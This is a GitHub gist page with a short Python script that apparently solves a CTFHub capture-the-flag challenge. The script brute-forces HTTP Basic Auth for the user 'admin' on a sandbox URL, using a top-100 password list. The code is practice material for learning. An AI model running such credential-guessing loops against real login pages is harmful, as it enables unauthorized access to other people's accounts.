Skip to content

Instantly share code, notes, and snippets.

@imbytecat
Last active September 14, 2021 04:51
Show Gist options
  • Save imbytecat/a8205cc2c6faee877f97afb9a7461693 to your computer and use it in GitHub Desktop.
Save imbytecat/a8205cc2c6faee877f97afb9a7461693 to your computer and use it in GitHub Desktop.
import requests
url = "http://challenge-fe7563142b0b0b02.sandbox.ctfhub.com:10800/flag.html"
for line in open("10_million_password_list_top_100.txt"):
response = requests.request("GET", url, auth=(
'admin', line.replace('\n', '').replace('\r', '')))
if response.status_code != 401:
print(response.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment